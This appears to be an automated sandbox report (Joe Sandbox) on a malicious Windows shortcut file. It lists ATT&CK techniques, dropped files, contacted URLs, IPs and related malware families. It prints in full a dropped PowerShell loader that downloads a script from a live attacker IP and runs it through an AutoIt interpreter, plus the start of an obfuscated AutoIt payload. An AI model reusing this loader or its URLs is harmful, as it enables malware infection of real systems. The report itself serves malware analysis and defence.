Source: dqcwif.exe	Binary or memory string: WIN_XP
Source: dqcwif.exe	Binary or memory string: WIN_XPe
Source: dqcwif.exe	Binary or memory string: WIN_VISTA
Source: dqcwif.exe.9.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Source: dqcwif.exe	Binary or memory string: WIN_7
Source: dqcwif.exe	Binary or memory string: WIN_8
Source: Guard.exe.20.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB4074 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		19_2_00007FF6B5BB4074
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BB3940 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		19_2_00007FF6B5BB3940

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 Timestomp	NTDS	38 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	23 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	231 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7A2lfjTYNf.lnk	26%	Virustotal		Browse
7A2lfjTYNf.lnk	21%	ReversingLabs	Win32.Trojan.Pantera

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Guard.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]	11%	ReversingLabs	Win32.Dropper.Lumma
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	8%	ReversingLabs
C:\Users\user\AppData\Roaming\dqcwif.exe	65%	ReversingLabs	Win64.Adware.RedCap

Name	IP	Active	Malicious	Reputation
tiffany-careers.com	147.45.49.155	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://tiffany-careers.com/Job_Description.pdf	true	unknown
https://tiffany-careers.com/dqcwif.exe	true	unknown
http://139.99.188.124/IAFkh	true	unknown
https://tiffany-careers.com/ghepduy1325	true	unknown
http://139.99.188.124/VmnWBYrzn.txt	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/J	Guard.exe, 0000001C.00000000.2484845641.00000000006B9000.00000002.00000001.01000000.00000010.sdmp, Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 00000021.00000000.2641644438.0000000000E59000.00000002.00000001.01000000.00000011.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.17.dr	false	high
https://tiffany-careers.com/ghepduy1325$global:?	powershell.exe	false	unknown
https://tiffany-careers.c	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://tiffany-careers.com	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	true	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/dqcwif.e	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dq	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000018.00000002.2503038177.000002035DF12000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000008.00000003.2204354185.000001B4F1990000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/ghepduy1325;.JSE;.WSF;.WSj	powershell.exe, 00000005.00000002.2176390599.0000023772570000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqcwif.	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqcwif	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqcwif.ex	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.autoitscript.com/autoit3/	Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	false	high
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/ghepduy13256	powershell.exe, 00000005.00000002.2175937945.0000023772365000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/ghepduy1325p	powershell.exe, 00000005.00000002.2174205142.0000023700001000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqcwi	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.8.dr	false	high
http://139.99.188.124	powershell.exe, 00000018.00000002.2503038177.000002035DA51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035DFFE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://tiffany-careers.com/ghepduy1325h	powershell.exe, 00000005.00000002.2174205142.00000237004A7000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.co	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2174205142.000002370004A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2174205142.000002370005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C9291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035D821000.00000004.00000800.00020000.00000000.sdmp	false	high
http://139.99.H	powershell.exe, 00000018.00000002.2503038177.000002035E2C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://139.99.188.124/IAFkhV	dqcwif.exe, 00000013.00000002.2438580826.00000281D2B48000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2174205142.000002370001D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C9291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035D821000.00000004.00000800.00020000.00000000.sdmp	false	high
http://tiffany-careers.com	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqcw	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/dqc	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://tiffany-careers.com/d	powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
139.99.188.124	unknown	Canada		16276	OVHFR	true
147.45.49.155	tiffany-careers.com	Russian Federation		2895	FREE-NET-ASFREEnetEU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579758
Start date and time:	2024-12-23 08:38:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	7A2lfjTYNf.lnk renamed because original name is a hash value
Original Sample Name:	767810929a7b0dddecaad84a15aed733.lnk
Detection:	MAL
Classification:	mal100.expl.evad.winLNK@43/61@8/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 97% Number of executed functions: 49 Number of non-executed functions: 235
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 23.218.208.137, 172.64.41.3, 162.159.61.3, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 23.195.39.65, 2.19.198.56, 2.19.198.48, 2.19.198.40, 2.19.198.65, 2.19.198.58, 23.32.238.155, 23.32.238.160, 2.19.198.66, 2.19.198.42, 2.19.198.49, 2.19.198.57, 23.32.238.161, 23.32.238.163, 2.22.50.131, 2.22.50.144, 23.32.238.88, 2.19.198.50, 2.19.198.73, 2.19.198.74, 2.19.198.75, 23.32.238.106, 23.32.238.97, 23.32.238.120, 23.32.238.115, 23.32.238.113, 23.32.238.96, 23.32.238.90, 23.32.238.122, 23.32.238.99, 23.32.238.123, 23.32.238.128, 23.32.238.105, 23.32.238.152, 23.32.238.147, 23.32.238.145, 23.32.238.146, 23.32.238.153, 23.32.238.154, 40.126.53.9, 20.223.35.26, 13.107.246.63, 2.16.158.179, 20.31.169.57, 150.171.27.10, 4.245.163.56, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, tse1.mm.bing.net, g.bing.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 6540 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8428 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:39:12	API Interceptor	1x Sleep call for process: WMIC.exe modified
02:39:18	API Interceptor	2x Sleep call for process: svchost.exe modified
02:39:19	API Interceptor	1x Sleep call for process: mshta.exe modified
02:39:20	API Interceptor	122x Sleep call for process: powershell.exe modified
02:39:42	API Interceptor	1x Sleep call for process: AcroCEF.exe modified
02:40:25	API Interceptor	42x Sleep call for process: Guard.exe modified
08:39:52	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
139.99.188.124	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/EsgMle.txt
	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/ucZfzm.txt
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/mzmLv.txt
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/wPBPjuY.txt
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/BlQMSgJx.txt
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/jiJNz.txt
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/QWCheljD.txt
147.45.49.155	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/PefjSkkhb.exe
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/BFmcYQ.exe
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/PefjSkkhb.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tiffany-careers.com	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	jqplot.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	KNkr78hyig.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	Tsy9P2T9yF.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	kGxQbLOG7s.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	ob4eL9Z1O4.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
OVHFR	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	149.202.242.118
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.92.237.128
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	91.134.82.79
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	66.70.211.36
	nsharm7.elf	Get hash	malicious	Mirai	Browse	51.195.199.38
	arm7.elf	Get hash	malicious	Mirai	Browse	8.33.207.91
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	51.161.159.84
	NotaFiscalOnline.ClientSetup.ex#.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.89.135.228
	NotaFiscalOnline.ClientSetup.ex#.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.89.135.228

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	147.45.49.155
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	147.45.49.155
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	147.45.49.155
	tg.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
	tg.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
	setup.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	147.45.49.155
37f463bf4616ecd445d4a1937da06e19	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	147.45.49.155
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	147.45.49.155
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	setup.msi	Get hash	malicious	Unknown	Browse	147.45.49.155
	Setup.exe	Get hash	malicious	Unknown	Browse	147.45.49.155

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Guard.exe	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse
	PkContent.exe	Get hash	malicious	Unknown	Browse
	PkContent.exe	Get hash	malicious	Unknown	Browse
	ldqj18tn.exe	Get hash	malicious	Unknown	Browse
	ldqj18tn.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x29d9fdea, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556440215064401
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	1955C1C7238CEE5531B5653DF4E8CAFC
SHA1:	426AB55956610EB8C508AC875689016071EE9A1A
SHA-256:	FC2758E253A054FEFE5FEC7E18F4FA4E0059537DF18188155490E63829CE9A1F
SHA-512:	4CFA509349E4AD1C96A68403736F263AFC436A31C48F3D72CC73ADBD6832945BD8C5B1168260540AD72CA0A6D2206EDDF7DBB0F055F878849295D064E1401639
Malicious:	false
Preview:	)...... .......7.......X\...;...{......................0.e......!...{?..'...\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................!H+..'...\|...................sG..'...\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Guard.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: 6fW0guYpsH.lnk, Detection: malicious, Browse Filename: FzmtNV0vnG.lnk, Detection: malicious, Browse Filename: lKin1m7Pf2.lnk, Detection: malicious, Browse Filename: R4qP4YM0QX.lnk, Detection: malicious, Browse Filename: R8CAg00Db8.lnk, Detection: malicious, Browse Filename: s4PymYGgSh.lnk, Detection: malicious, Browse Filename: PkContent.exe, Detection: malicious, Browse Filename: PkContent.exe, Detection: malicious, Browse Filename: ldqj18tn.exe, Detection: malicious, Browse Filename: ldqj18tn.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\PublicProfile.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\dqcwif.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	487
Entropy (8bit):	5.281029316628711
Encrypted:	false
SSDEEP:	12:f73/odXWFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/3CknZ9LzjYnRSb8Cba
MD5:	C4D23FB0E6B7526C90C5D4C07B74DE71
SHA1:	B3BCABB9BDDC92CD98A6A1F3B477AD2103E3AEFE
SHA-256:	E03060B03452B9B20241EAC1BAA94C5D7B9E3A1E5A9FC5AB501B20546F1CB944
SHA-512:	2E23659CCA40AA15ABEF829D0B4D4639F5E13083BC54469D5D96A9AD119CE4670546689BC5A7341DAA2354E12ABDB3B8A4C9409C485B8D6BF999BB3996F92425
Malicious:	true
Preview:	[string]$fU5L = "http://139.99.188.124/VmnWBYrzn.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

C:\Users\Public\Secure.au3

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
Category:	dropped
Size (bytes):	1241207
Entropy (8bit):	5.143684992797654
Encrypted:	false
SSDEEP:	12288:28V+jcfSicb4/G10K5F3/nzEGPIWX30KrCIc4S36d6tWRYd1d:qctG4umKX379xdrggeIYZ
MD5:	4756DBA4ADAEBCB1F0D68AC60B0288E6
SHA1:	73A4B0BD37509CB322BD9D02073C51D899A6D79E
SHA-256:	30F2C103373F48F5DA93AEF89132D37C5206BF21A5F5746090A37C383F7AA544
SHA-512:	593AF4257A98C0C45EB3A18D26FE7EF88E41B4D8CA0C4DE5FBE1AA7A54A46DAC189FB99618A9C458ECCB30217EBD9B0A0EC4E33562075415025BC4B168EA86CD
Malicious:	true
Preview:	.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

